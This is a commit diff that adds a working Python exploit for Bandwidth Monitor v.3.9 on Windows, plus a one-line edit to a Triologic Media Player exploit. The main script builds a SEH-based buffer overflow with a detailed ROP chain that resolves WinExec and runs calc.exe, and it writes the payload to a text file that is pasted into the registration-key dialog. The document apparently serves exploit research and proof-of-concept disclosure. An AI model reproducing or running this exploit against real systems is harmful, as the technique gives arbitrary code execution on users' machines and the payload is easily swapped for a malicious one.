added exploit for Bandwidth Monitor v.3.9

windows/x86/local/Bandwidth_Monitor_v.3.9/Bandwidth_Monitor_v.3.9.py

@@ -0,0 +1,186 @@
+"""
+Full title:         Bandwidth Monitor v.3.9
+Exploit Author:     Paolo Stagno aka VoidSec - voidsec@voidsec.com - https://voidsec.com
+Vendor Homepage:    https://www.10-strike.com/bandwidth-monitor/
+Version:            v.3.9
+Tested on:          Windows 10 Pro x64 v.1909 Build 18363.418
+Category:           local exploits
+Platform:           windows
+Usage:              BandMonitor > Help > Enter Reg Key > Paste content of Bandwidth_Monitor_v.3.9_exploit.txt
+"""
+#!/usr/bin/python
+import struct
+filename="Bandwidth_Monitor_v.3.9_exploit.txt"
+
+size = 5000
+nseh_offset = 4188
+land_address = 584
+filler = 16
+
+#Bad Characters: '\x00\x20\x0D\x0A'
+
+#0x01212870 : {pivot 2064 / 0x810} :  # ADD ESP,800 # POP EBP # POP EDI # POP ESI # POP EBX # RETN    ** [BandMonitor.exe] **   |  ascii {PAGE_EXECUTE_READWRITE}
+
+def create_rop_chain():
+    # rop chain generated with mona.py - www.corelan.be
+    rop_gadgets = [
+      # ROP NOP Sled
+      0x1201011b, # ret; 
+      0x1201011b, # ret; 
+      # Retrieve BaseAddress of Kernel32.dll via LoadLibraryA
+      0x11069084, # pop eax; ret; (EAX=&KERNEL32.LoadLibraryA)
+      0x110e70bc, # static ptr to KERNEL32.loadlibrarya
+      0x110495ef, # jmp dword ptr [eax]; (CALL to LoadLibraryA)
+      0x1106905d, # push eax; pop esi; ret; (ESI=KERNEL32.75390000)
+      0x011e9162, # &kernel32.dll
+      # Retrieve Address of WinExec function via some math
+      0x12010869, # pop ecx; ret;
+      0x05dab0ff, # KERNEL32 base (into EAX and ESI) + 0x05dab0 => WinExec
+      0x12011734, # xor eax, eax; ret;
+      0x12032856, # add eax, 8; ret; 
+      0x1102ce1f, # xchg eax, ecx; ret;
+      0x12039fa7, # shr eax, cl; ret;
+      0x120327fd, # mov ecx, eax; mov eax, esi; pop esi; ret 0x10;
+      0xffffffff,
+      0x11036480, # add eax, ecx; ret; (EAX=Kernel32.WinExec)
+      0xffffffff,
+      0xffffffff,
+      0xffffffff,
+      0xffffffff,
+      0x0104da02, # XCHG EAX,EBX # RETN EBX=Kernel32.WinExec
+      ###########################
+      # Technique 1 to call WinExec
+      ###########################
+      # Save ESP
+      0x01226010, # PUSH ESP # AND AL,4 # POP ECX # POP EDX # RETN
+      # ECX now holds current stack pointer
+      0x90909090, # compensate POP EDX
+      # Jump over the function block
+      0x110969b3, # MOV EAX,ESI # POP ESI # ADD ESP,18 # RETN
+      0x90909090, # compensate POP ESI
+      ###########################
+      # FUNCTION BLOCK START
+      ###########################
+      0x41414144, # will become Kernel32.WinExec (parameter placeholder)
+      0x42424242, # will become the return address (parameter placeholder)
+      0x43434343, # will become lpCmdLine (parameter placeholder) * to "calc.exe" 
+      0x44444444, # will become uCmdShow (parameter placeholder)
+      ###########################
+      # FUNCTION BLOCK END 
+      ###########################
+      ############# Things that I need on the stack
+      0x636c6163, # calc
+      0x6578652e, # .exe
+      #############
+      # Create Kernel32.WinExec (ECX+16)
+      #############
+      # ADD ESP,18 (24) will land here
+      # EBX = Kernel32.WinExec
+      # ECX = old ESP
+      0x0104c0e2, # PUSH ECX # INC EBX # POP EBP # RETN  <----- It will become null-byte padding for "calc.exe"
+      # EBP = ECX
+      0x01221821, # DEC EBX # RETN
+      0x110c1001, # XOR EAX,EAX # RETN
+      0x1103643a, # ADD EAX,10 # RETN
+      # EAX = 0x10
+      0x01211ddb, # ADD ECX,EAX # RETN 
+      # ECX = addr where to write
+      0x011d53d2, # XCHG EAX,ECX # RETN
+      # EAX = addr where to write
+      # ECX = 0x10
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      # EAX = garbage
+      # EDX = addr where to write
+      0x0104da02, # XCHG EAX,EBX # RETN EBX=Kernel32.WinExec
+      # EAX = Kernel32.WinExec
+      # EBX = addr where to write
+      0x011ead1b, # DEC EDX # RETN
+      0x011ead1b, # DEC EDX # RETN
+      0x011ead1b, # DEC EDX # RETN
+      0x011ead1b, # DEC EDX # RETN
+      0x011ead1b, # DEC EDX # RETN compensate next inc
+      # WRITE EAX IN EDX
+      0x0123719a, # PUSH EDX # CLD # INC EDX # MOV DWORD PTR DS:[EDX],EAX # POP EBP # RETN
+      ###########################
+      # Create return address: even if app crash we do not care, leave it as it is
+      ###########################
+      # Create Pointer to calc
+      ###########################
+      # EBP = addr of Kernel32.WinExec placeholder -1
+      0x1107c252, # XCHG EAX,EBP # RETN
+      # EAX = addr of Kernel32.WinExec placeholder -1
+      # EBP = Kernel32.WinExec
+      0x11023604, # INC EAX # RETN
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      # EAX = retn addr placeholder
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      # EAX = "calc.exe" pointer placeholder
+      0x012161f2, # XOR ECX,ECX # RETN
+      0x01211ddb, # ADD ECX,EAX # RETN
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      # EDX = where to write
+      0x011d53d2, # XCHG EAX,ECX # RETN
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x011ead1b, # DEC EDX # RETN; compensate next inc
+      # EAX calc addr
+      0x0123719a, # PUSH EDX # CLD # INC EDX # MOV DWORD PTR DS:[EDX],EAX # POP EBP # RETN
+      # EBP = addr of "calc.exe" pointer placeholder -1
+      ###########################
+      # Create uCmdShow parameter
+      ###########################
+      # EAX = * calc
+      # EDX = * calc placeholder
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      0x110c1001, # XOR EAX,EAX # RETN
+      0x11023604, # INC EAX # RETN    ** [LIBEAY32.dll] **   |  ascii {PAGE_EXECUTE_READ}
+      0x011ead1b, # DEC EDX # RETN; compensate next inc
+      0x0123719a, # PUSH EDX # CLD # INC EDX # MOV DWORD PTR DS:[EDX],EAX # POP EBP # RETN
+      ###########################
+      # Create null-byte padding
+      ###########################
+      # EAX = 0x00000001
+      # EDX = * uCmdShow placeholder
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x01215e8b, # ADD EAX,4 # POP EBX # RETN
+      0x90909090, # compensate
+      0x0105fa41, # XCHG EAX,EDX # RETN
+      0x110c1001, # XOR EAX,EAX # RETN
+      0x011ead1b, # DEC EDX # RETN; compensate next inc
+      0x0123719a, # PUSH EDX # CLD # INC EDX # MOV DWORD PTR DS:[EDX],EAX # POP EBP # RETN
+      ###########################
+      # JMP to WinExec
+      ###########################
+      # ECX = * WinExec
+      0x011d53d2, # XCHG EAX,ECX # RETN
+      0x011f6080, # XCHG EAX,ESP # RETN    ** [BandMonitor.exe] **   |   {PAGE_EXECUTE_READWRITE}
+    ]
+    return ''.join(struct.pack('<I', _) for _ in rop_gadgets)
+
+rop_chain = create_rop_chain()
+
+print "ROP chain size: " + str(len(rop_chain))
+
+payload  = ""
+payload += "A" * land_address
+payload += "\xff" * filler
+payload += rop_chain
+payload += "A" * (nseh_offset - len(payload))
+payload += "BBBB"
+payload += struct.pack('<L', 0x01212870 )
+payload += "A" * (size - len(payload))
+
+f = open(filename, 'w')
+f.write(payload)
+f.close()

windows/x86/local/Triologic Media Player 8/Triologic_Media_Player_v.8.py

@@ -7,7 +7,7 @@ Tested on:          Windows 10 Pro x64 v.1909 Build 18363.418
 Category:           local exploits
 Platform:           windows
 """
-#!/usr/bin/python -w
+#!/usr/bin/python
 filename="triologic_exploit.m3u"
 
 buffer_size = 5000